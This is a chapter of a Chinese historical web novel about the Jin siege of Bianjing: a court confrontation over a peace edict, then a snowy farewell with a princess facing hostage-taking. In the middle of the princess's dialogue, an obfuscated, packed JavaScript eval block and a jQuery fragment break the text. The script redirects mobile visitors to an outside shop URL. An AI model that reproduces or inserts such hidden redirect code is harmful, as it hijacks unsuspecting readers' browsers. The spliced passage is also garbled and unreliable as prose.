闰十一月初二,雪停了,天却阴得更沉。
李纲病情加重,已不能言语。
朝中主和派趁机发难,张邦昌联合白时中、唐恪等人,力主议和。
官家赵佶本就优柔寡断,在重重压力下,终于松口。
闰十一月初三,议和诏书下来了。
割让中山、太原、河间三镇,岁币银绢各增两百万,金帛两千万贯,亲王、宰相为质,帝姬、宗女三十人...
诏书传遍全城,汴京一片死寂。
没有惊呼,没有痛哭,只有一种麻木的、冰冷的绝望,像这深冬的天气,冻住了所有人的心。
赵承影接到诏书时,正在皇城司与曲端商议防务。
士卒将诏书副本递上,他扫了一眼,便放在一旁,继续指着沙盘:“西城这段城墙破损最严重,需加派五百人,日夜修补。
另外,金人可能会趁雪夜偷袭,夜哨需加倍..”
“大人。”曲端打断他,指着诏书,“这个..”
“这个不重要。”赵承影头也不抬,“重要的是守住城。只要城不破,诏书就是一张废纸。”
曲端看着他,良久,抱拳:“末将领命。”
但城中其他人,不这么想。
诏书下达的当天,就有官员收拾细软,准备南逃。富商大贾更是闻风而动,重金贿赂守城军士,想要出城。
百姓聚在宫门外哭嚎,求官家收回成命,却被禁军驱散。
乱象已生。
赵承影知道,不能再等了。
他换上朝服,持笏入宫。
宫门守卫本想拦他,如今朝中主和派当道,赵承影这种主战派,还是皇城司的实际掌控者,自然不受待见。
但他亮出李纲的令牌,守卫只得放行。
正殿里正在朝议。
张邦昌站在殿中,慷慨陈词,力陈议和之利。
赵佶坐在龙椅上,面色苍白,眼神飘忽,显然心神不宁。
赵承影站在殿外,等张邦昌说完,才朗声道:“臣赵承影,有本上奏!”
殿内一静。所有目光都投向他。
赵佶看见他,眼中闪过一丝复杂,挥了挥手:“赵爱卿,进来吧。”
赵承影步入大殿,跪下行礼,然后起身,直视赵佶:“陛下,臣请诛张邦昌、白时中、唐恪等误国奸臣!”
殿内哗然。
张邦昌气得胡子发抖,指着赵承影:“你...你血口喷人!”
“臣是否血口喷人,张相公有数。”赵承影从袖中取出一份奏折,双手奉上,“臣已查实,张邦昌、白时中、唐恪三人,与金使暗中勾结,收受金人贿赂,力主议和,实为卖国!”
赵佶脸色一变:“可有证据?”
“有。”赵承影从怀中取出几封密信,正是那夜从孙太监身上搜出的,“此乃金使与张邦昌等人的往来书信,其中详细记载了贿赂数目,以及如何里应外合,逼迫陛下议和。请陛下过目。”
内侍将密信呈上,赵佶快速浏览,脸色越来越白,到最后,手都在抖。
张邦昌等人见状,知道事情败露,纷纷跪地哭诉:“陛下明鉴!此乃赵承影伪造,陷害忠良啊!”
“是否伪造,一验便知。”赵承影冷冷道,“金使尚在驿馆,陛下可派人搜查,必有赃物!”
赵佶颤抖着手指着张邦昌:“你...你们..”
就在这时,殿外忽然传来喧哗声。一个内侍连滚爬爬冲进来,面如土色:“陛下!不好了!金使...金使在驿馆自尽了!”
殿内霎时死寂。
张邦昌等人对视一眼,眼中闪过喜色,人死了,死无对证。
赵承影心中一沉。他早该想到,金使既然敢与张邦昌勾结,必有后手。如今事情败露,便以死断线,保全同党。
“陛下!”张邦昌膝行向前,声泪俱下,“金使自尽,分明是畏罪自杀!赵承影伪造书信,构陷忠良,逼死金使,破坏议和,其心可诛啊!”
白时中、唐恪等人也纷纷附和,一时间,赵承影成了众矢之的。
赵佶看着跪了一地的重臣,又看看孤身站在殿中的赵承影,眼中满是挣扎。
他本就不是果决之人,此刻更是六神无主。
“赵爱卿..”他声音发虚,“此事...此事还需详查..”
“陛下!”赵承影跪下,以头触地,“张邦昌等人卖国求荣,证据确凿!金使自尽,正是做贼心虚!若纵容此等奸佞,大宋江山危矣!”
“你胡说!”张邦昌跳起来,指着赵承影的鼻子,“老夫为大宋鞠躬尽瘁,岂容你污蔑!陛下,此子诛杀同袍,心狠手辣,如今又构陷大臣,分明是图谋不轨!臣请将其拿下,严加审问!”
“臣附议!”
“臣附议!”
主和派的官员纷纷跪地,声浪几乎要掀翻殿顶。
赵佶被吵得头痛欲裂,扶着额头,连连摆手:“罢了罢了...此事...此事容后再议...退朝,退朝!”
他起身,在内侍的搀扶下,踉跄退入后殿。
张邦昌等人起身,冷冷看了赵承影一眼,拂袖而去。经过他身边时,张邦昌压低声音,咬牙切齿:“小子,咱们走着瞧。”
赵承影跪在殿中,一动不动。
朝臣们鱼贯而出,没人敢看他,也没人敢扶他。
偌大的正殿,很快只剩下他一人和殿外呼啸的风雪。
他知道,他输了。
不是输在证据不足,不是输在口才不好,是输在赵佶的软弱,输在满朝文武的麻木,输在这座城从根子上烂掉的怯懦。
他缓缓起身,走出大殿。
风雪扑面,冷得像刀子。
一个内侍匆匆跑来,是赵佶身边的小黄门,低声道:“赵大人,陛下口谕:此事暂且压下,你...你好自为之。”
赵承影点头,面无表情。
小黄门欲言又止,最后还是低声道:“陛下也是没法子...张相他们势力太大,陛下动不得...陛下让奴才传话,说...说委屈赵大人了。”
“臣,领旨。”赵承影躬身,声音平静。
小黄门叹息一声,转身走了。
赵承影站在殿外廊下,看着漫天大雪。
雪花落在肩头,很快化开,渗进官袍,冰凉刺骨。
他想起李纲躺在病榻上的样子,想起陈东激愤的眼神,想起那些死在军营的亲从官,想起他们临死前吼出的“杀贼”。
可现在,贼在朝堂,在御前,在陛下身边。
他动不得。
身后传来脚步声,很轻。
赵承影没有回头,他知道是谁。
“赵大人。”是赵璎珞的声音,带着些许颤抖,“你...没事吧?”
赵承影转身,行礼:“帝姬。”
赵璎珞穿着素白的宫装,外罩狐裘,脸埋在风帽里,只露出一双清澈的眼。
她身后跟着两个宫女,远远站着,不敢靠近。
“我都听说了。”赵璎珞走近几步,声音压得很低,“张邦昌他们...不会放过你的。你快走吧,离开汴京,去江南,去蜀中...去哪里都好。”
赵承影摇头:“臣不能走。”
“为什么?”赵璎珞眼中泛起泪光,“留在这里,他们会害死你的!”
“因为臣走了,汴京就真的没人守了。”赵承影看着她,眼中金色光芒一闪而逝,“李相公病着,陈东他们只会纸上谈兵,皇城司那些人...他们信我。我若走了,心就散了。”
赵璎珞咬着唇,泪珠滚落:“可...可你留在这里,又能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301219|198636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做什么呢?诏书已经下了,帝姬为质...过几日,我也要..”
她说不下去了,低头抹泪。
赵承影心中一痛。他知道诏书的内容,三十名帝姬、宗女,其中就有顺德帝姬赵璎珞。
她才十六岁,就要被送去金营,为奴为婢,生死难料
“帝姬,”赵承影喉头滚动,声音压得极低,每一个字都像从胸腔里挤出来,“臣不会让此事发生。”
赵璎珞猛地抬头,泪眼朦胧中带着惊愕:“你…你能如何?那是圣旨…”
“圣旨是张邦昌等人胁迫陛下所下。”赵承影打断她,目光投向宫门外白茫茫的雪幕,“陛下既知他们是卖国之贼,待李相公病愈,朝局扭转,此事未必没有转圜余地。”
这话他自己都不信。
李纲病入膏肓,朝局已倾,转圜?谈何容易。
但他必须这样说,必须给眼前这个少女一点虚妄的希望。
就像这座城,明明已摇摇欲坠,却还要撑着那点名为“汴京”的颜面。
赵璎珞看着他,看了很久。
风帽滑落,露出她苍白的小脸,和那双过于清澈、此刻却盛满悲怆的眼睛。
她忽然往前走了一步,几乎要碰到赵承影的衣襟,声音轻得像雪花落地
“赵承影,你带我走。”
赵承影浑身一震。
“趁现在,城门还没关,你带我走。”
赵璎珞又往前走了一小步,几乎在耳语,“去江南,去蜀中,去哪里都好。宫里少一个帝姬,没人会在意。
张邦昌他们…他们只会庆幸少了一个麻烦。”
她仰着脸,泪水在眼眶里打转,却没有掉下来。
“我不想被送到金营。我听说…听说那些金人,会把我们当牛羊一样分给将领,活的死的,他们都不在乎。”
赵承影的手在袖中攥紧,指甲掐进掌心,留下深深的印痕。
他能闻到少女身上淡淡的花香,能看见她纤薄脖颈下淡青色的血管,能听见她急促而脆弱的心跳。
有那么一瞬间,一个疯狂的声音在心底叫嚣:答应她!带她走!管他什么汴京,管他什么大宋,你只有十年,为什么不为自己活一次?
但他最终只是垂下眼,往后退了一步,拉开距离:“帝姬,臣不能。”
赵璎珞眼中的光暗了下去,像燃尽的烛火。
“是因为忠君吗?还是因为…”她顿了顿,声音更轻了,“你觉得我是个累赘?”
“不是。”赵承影抬起头,直视她的眼睛,眼中那抹金色的纹路在雪光映照下若隐若现。
“是因为臣若带帝姬走,便是坐实了张邦昌的诬陷。他们会说臣畏罪潜逃,说臣拐带帝姬。
然后以此为借口,清洗皇城司,清洗所有主战的力量。到那时,汴京就真的完了。”
他深吸一口气,肺里灌满冰冷的空气,刺痛:“臣可以死,汴京不能破。帝姬可以怨臣,但请相信,臣所做的一切,是为了让更多像帝姬一样的人,不必被送到金营,不必为奴为婢。”
赵璎珞站在那里,雪落在她发梢、肩头,她像是没感觉到冷,只是怔怔地看着他。
良久,她忽然笑了一下,笑容苍白而破碎。
“我明白了。”她抬手,将风帽重新戴好,遮住大半张脸,“赵大人是忠臣,是英雄。我只是…一个不识大体的帝姬。”
她转身,宫女急忙上前搀扶。
走出几步,她又停住,没有回头,声音飘散在风雪里:“那日给你的安神香囊…福宁殿还有些。”
说完,她走入漫天飞雪,素白的身影很快消失在宫道尽头。
赵承影站在原地,一动不动,直到肩上积了薄薄一层雪,才僵硬地转身,朝宫外走去。
每一步,都像踩在刀尖上。